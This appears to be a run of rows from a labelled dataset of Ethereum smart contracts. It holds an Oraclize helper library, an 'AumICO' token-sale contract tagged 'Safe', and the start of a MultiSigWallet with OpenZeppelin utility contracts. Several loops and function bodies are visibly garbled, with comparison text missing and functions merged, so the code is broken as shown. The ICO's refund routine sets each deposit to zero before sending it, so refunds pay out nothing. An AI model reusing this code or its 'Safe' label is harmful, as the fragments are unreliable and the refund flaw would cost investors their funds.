256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == ""L"") && (_proof[1] == ""P"") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // contract AumICO is usingOraclize, SafeMath { //uint public tokenPricePreSale = 35; //Price x100 (with no cents: $0.35 => 35) //uint public tokenPricePreICO = 55; //Price x100 (with no cents: $0.55 => 55) //uint public tokenPriceICO = 75; //Price x100 (with no cents: $0.75 => 75) //uint totalAvailableTokens = 31875000; // 37,500,000 AUM's available for sale, minus 5,625,000 sold in presale struct OperationInQueue { uint operationStartTime; uint depositedEther; address receiver; bool closed; } struct Contact { uint obtainedTokens; uint depositedEther; bool isOnWhitelist; bool userExists; bool userLiquidated; uint depositedLEX; } uint[3] public tokenPrice; uint[3] public availableTokens; uint public tokenCurrentStage; bool public hasICOFinished; uint public etherPrice; //Price x100 (with no cents: $800.55 => 80055) uint public etherInContract; uint public LEXInContract; uint public usdEstimateInContract; //With no cents and x10**8 (1usd => 10000000000) uint public softCap = 35437500000000000; //15% of goal $3,543,750 With no cents and x10**8 (1usd => 10000000000) uint currentSoftCapContact; uint public startEpochTimestamp = 1518807600; // Friday February 16th 2018 at 12pm GMT-06:00, you can verify the epoch at https://www.epochconverter.com/ uint public endEpochTimestamp = 1521093600; // Thursday March 15th 2018 at 12am GMT-06:00, you can verify the epoch at https://www.epochconverter.com/ uint public lastPriceCheck = 0; uint preICOAvailableTokens = 11250000; // 11,250,000 AUM's for the pre ICO, with 8 decimals uint ICOAvailableTokens = 20625000; // 20,625,000 AUM's for the pre ICO, with 8 decimals uint minAmmountToInvest = 100000000000000000; // 0.1 Ether, or 100,000,000,000,000,000 wei uint maxAmmountToInvest = 500000000000000000000; // 500 Ether, or 500,000,000,000,000,000,000 wei address LEXTokenAddress; //Limited Exchange Token address, For future processing via Koinvex address tokenContractAddress; address tokenVaultAddress; address admin; address etherVault; address etherGasProvider; mapping(address => Contact) public allContacts; address[] public contactsAddresses; bool tokenContractAddressReady; bool LEXtokenContractAddressReady; ERC223 public tokenReward; ERC223 public LEXToken; OperationInQueue[] public operationsInQueue; uint public currentOperation; modifier onlyAdmin() { require(msg.sender == admin); _; } event Transfer(address indexed _from, address indexed _to, uint256 _value); function AumICO() public { admin = msg.sender; etherPrice = 100055; // testing => $1,000.55 etherInContract = 0; LEXInContract = 0; usdEstimateInContract = 19687500000000000; //$1,968,750 in pre-sale tokenPrice[0] = 35;//uint public tokenPricePreSale = 35; //Price x100 (with no cents: $0.35 => 35) tokenPrice[1] = 55;//uint public tokenPricePreICO = 55; //Price x100 (with no cents: $0.55 => 55) tokenPrice[2] = 75;//uint public tokenPriceICO = 75; //Price x100 (with no cents: $0.75 => 75) availableTokens[0] = 0; availableTokens[1] = preICOAvailableTokens * 10**8; availableTokens[2] = ICOAvailableTokens * 10**8; tokenCurrentStage = 0; tokenContractAddressReady = false; LEXtokenContractAddressReady = false; etherVault = 0x1FE5e535C3BB002EE0ba499a41f66677fC383424;// all deposited ether will go to this address etherGasProvider = 0x1FE5e535C3BB002EE0ba499a41f66677fC383424;// this address is whitelisted for sending ether to this contract without sending back tokens tokenVaultAddress = msg.sender; currentOperation = 0; hasICOFinished = false; lastPriceCheck = 0; currentSoftCapContact = 0; } function () payable { if(msg.sender == etherGasProvider) { return; } if(!allContacts[msg.sender].isOnWhitelist || (now < startEpochTimestamp && msg.sender != admin) || now >= endEpochTimestamp || hasICOFinished || !tokenContractAddressReady) { revert(); } uint depositedEther = msg.value; uint currentVaultBalance = tokenReward.balanceOf(tokenVaultAddress); uint totalAddressDeposit = safeAdd(allContacts[msg.sender].depositedEther, depositedEther); uint leftoverEther = 0; if(depositedEther < minAmmountToInvest || totalAddressDeposit > maxAmmountToInvest) { bool canEtherPassthrough = false; if(totalAddressDeposit > maxAmmountToInvest) { uint passthroughEther = safeSub(maxAmmountToInvest, allContacts[msg.sender].depositedEther); if(passthroughEther > 0) { depositedEther = safeSub(depositedEther, 100000); //Gas for the extra transactions if(depositedEther > passthroughEther) { leftoverEther = safeSub(depositedEther, passthroughEther); } depositedEther = passthroughEther; canEtherPassthrough = true; } } if(!canEtherPassthrough) { revert(); } } if (currentVaultBalance > 0) { if(safeSub(now, lastPriceCheck) > 300) { operationsInQueue.push(OperationInQueue(now, depositedEther, msg.sender, false)); updatePrice(); }else { sendTokens(msg.sender, depositedEther); } }else { revert(); } if(leftoverEther > 0) { msg.sender.transfer(leftoverEther); } } function sendTokens(address receiver, uint depositedEther) private { if(tokenCurrentStage >= 3) { hasICOFinished = true; receiver.transfer(depositedEther); }else { uint obtainedTokensDividend = safeMul(etherPrice, depositedEther ); uint obtainedTokensDivisor = safeMul(tokenPrice[tokenCurrentStage], 10**10 ); uint obtainedTokens = safeDiv(obtainedTokensDividend, obtainedTokensDivisor); if(obtainedTokens > availableTokens[tokenCurrentStage]) { uint leftoverEther = depositedEther; if(availableTokens[tokenCurrentStage] > 0) { uint tokensAvailableForTransfer = availableTokens[tokenCurrentStage]; uint leftoverTokens = safeSub(obtainedTokens, availableTokens[tokenCurrentStage]); availableTokens[tokenCurrentStage] = 0; uint leftoverEtherDividend = safeMul(leftoverTokens, tokenPrice[tokenCurrentStage] ); leftoverEtherDividend = safeMul(leftoverEtherDividend, 10**10 ); leftoverEther = safeDiv(leftoverEtherDividend, etherPrice); uint usedEther = safeSub(depositedEther, leftoverEther); etherInContract += usedEther; allContacts[receiver].obtainedTokens += tokensAvailableForTransfer; allContacts[receiver].depositedEther += usedEther; usdEstimateInContract += safeMul(tokensAvailableForTransfer, tokenPrice[tokenCurrentStage] ); etherVault.transfer(depositedEther); tokenReward.transferFrom(tokenVaultAddress, receiver, tokensAvailableForTransfer); } tokenCurrentStage++; sendTokens(receiver, leftoverEther); }else { usdEstimateInContract += safeMul(obtainedTokens, tokenPrice[tokenCurrentStage] ); availableTokens[tokenCurrentStage] = safeSub(availableTokens[tokenCurrentStage], obtainedTokens); etherInContract += depositedEther; allContacts[receiver].obtainedTokens += obtainedTokens; allContacts[receiver].depositedEther += depositedEther; etherVault.transfer(depositedEther); tokenReward.transferFrom(tokenVaultAddress, receiver, obtainedTokens); } } } function tokenFallback(address _from, uint _value, bytes _data) public { if(msg.sender != LEXTokenAddress || !LEXtokenContractAddressReady) { revert(); } if(!allContacts[_from].isOnWhitelist || now < startEpochTimestamp || now >= endEpochTimestamp || hasICOFinished || !tokenContractAddressReady) { revert(); } uint currentVaultBalance = tokenReward.balanceOf(tokenVaultAddress); if(currentVaultBalance > 0) { sendTokensForLEX(_from, _value); }else { revert(); } } function sendTokensForLEX(address receiver, uint depositedLEX) private { if(tokenCurrentStage >= 3) { hasICOFinished = true; LEXToken.transfer(receiver, depositedLEX); }else { uint depositedBalance = safeMul(depositedLEX, 100000000); uint obtainedTokens = safeDiv(depositedBalance, tokenPrice[tokenCurrentStage]); if(obtainedTokens > availableTokens[tokenCurrentStage]) { uint leftoverLEX = depositedLEX; if(availableTokens[tokenCurrentStage] > 0) { uint tokensAvailableForTransfer = availableTokens[tokenCurrentStage]; uint leftoverTokens = safeSub(obtainedTokens, availableTokens[tokenCurrentStage]); availableTokens[tokenCurrentStage] = 0; uint leftoverLEXFactor = safeMul(leftoverTokens, tokenPrice[tokenCurrentStage] ); leftoverLEX = safeDiv(leftoverLEXFactor, 100000000); uint usedLEX = safeSub(depositedLEX, leftoverLEX); LEXInContract += usedLEX; allContacts[receiver].obtainedTokens += tokensAvailableForTransfer; allContacts[receiver].depositedLEX += usedLEX; usdEstimateInContract += safeMul(tokensAvailableForTransfer, tokenPrice[tokenCurrentStage] ); tokenReward.transferFrom(tokenVaultAddress, receiver, tokensAvailableForTransfer); } tokenCurrentStage++; sendTokensForLEX(receiver, leftoverLEX); }else { usdEstimateInContract += depositedLEX; availableTokens[tokenCurrentStage] = safeSub(availableTokens[tokenCurrentStage], obtainedTokens); LEXInContract += depositedLEX; allContacts[receiver].obtainedTokens += obtainedTokens; allContacts[receiver].depositedLEX += depositedLEX; tokenReward.transferFrom(tokenVaultAddress, receiver, obtainedTokens); } } } function CheckQueue() private { if(operationsInQueue.length > currentOperation) { if(!operationsInQueue[currentOperation].closed) { operationsInQueue[currentOperation].closed = true; if(safeSub(now, lastPriceCheck) > 300) { operationsInQueue.push(OperationInQueue(now, operationsInQueue[currentOperation].depositedEther, operationsInQueue[currentOperation].receiver, false)); updatePrice(); currentOperation++; return; }else { sendTokens(operationsInQueue[currentOperation].receiver, operationsInQueue[currentOperation].depositedEther); } } currentOperation++; } } function getTokenAddress() public constant returns (address) { return tokenContractAddress; } function getTokenBalance() public constant returns (uint) { return tokenReward.balanceOf(tokenVaultAddress); } function getEtherInContract() public constant returns (uint) { return etherInContract; } function GetQueueLength() public onlyAdmin constant returns (uint) { return safeSub(operationsInQueue.length, currentOperation); } function changeTokenAddress (address newTokenAddress) public onlyAdmin { tokenContractAddress = newTokenAddress; tokenReward = ERC223(tokenContractAddress); tokenContractAddressReady = true; } function ChangeLEXTokenAddress (address newLEXTokenAddress) public onlyAdmin { LEXTokenAddress = newLEXTokenAddress; LEXToken = ERC223(LEXTokenAddress); LEXtokenContractAddressReady = true; } function ChangeEtherVault(address newEtherVault) onlyAdmin public { etherVault = newEtherVault; } function ExtractEtherLeftOnContract(address newEtherGasProvider) onlyAdmin public { if(now > endEpochTimestamp) { etherVault.transfer(this.balance); } } function ChangeEtherGasProvider(address newEtherGasProvider) onlyAdmin public { etherGasProvider = newEtherGasProvider; } function ChangeTokenVaultAddress(address newTokenVaultAddress) onlyAdmin public { tokenVaultAddress = newTokenVaultAddress; } function AdvanceQueue() onlyAdmin public { CheckQueue(); } function UpdateEtherPriceNow() onlyAdmin public { updatePrice(); } function CheckSoftCap() onlyAdmin public { if(usdEstimateInContract < softCap && now > endEpochTimestamp && currentSoftCapContact < contactsAddresses.length) { for(uint i = currentSoftCapContact; i < 4;i++) { if(i < contactsAddresses.length) { if(!allContacts[contactsAddresses[i]].userLiquidated) { allContacts[contactsAddresses[i]].userLiquidated = true; allContacts[contactsAddresses[i]].depositedEther = 0; contactsAddresses[i].transfer(allContacts[contactsAddresses[i]].depositedEther); } currentSoftCapContact++; } } } } function AddToWhitelist(address addressToAdd) onlyAdmin public { if(!allContacts[addressToAdd].userExists) { contactsAddresses.push(addressToAdd); allContacts[addressToAdd].userExists = true; } allContacts[addressToAdd].isOnWhitelist = true; } function RemoveFromWhitelist(address addressToRemove) onlyAdmin public { if(allContacts[addressToRemove].userExists) { allContacts[addressToRemove].isOnWhitelist = false; } } function GetAdminAddress() public returns (address) { return admin; } function IsOnWhitelist(address addressToCheck) public view returns(bool isOnWhitelist) { return allContacts[addressToCheck].isOnWhitelist; } function getPrice() public constant returns (uint) { return etherPrice; } function updatePrice() private { if (oraclize_getPrice(""URL"") > this.balance) { //LogNewOraclizeQuery(""Oraclize query was NOT sent, please add some ETH to cover for the query fee""); } else { //LogNewOraclizeQuery(""Oraclize query was sent, standing by for the answer..""); oraclize_query(""URL"", ""json(https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD).USD"", 300000); } } function __callback(bytes32 _myid, string _result) { require (msg.sender == oraclize_cbAddress()); etherPrice = parseInt(_result, 2); lastPriceCheck = now; CheckQueue(); } }",Safe,8,8 0x054a543fdcd9db5513d51dca3b092d61f57fd709_MultiSigWallet.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } // File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns(uint256) { return totalSupply_; } /** * 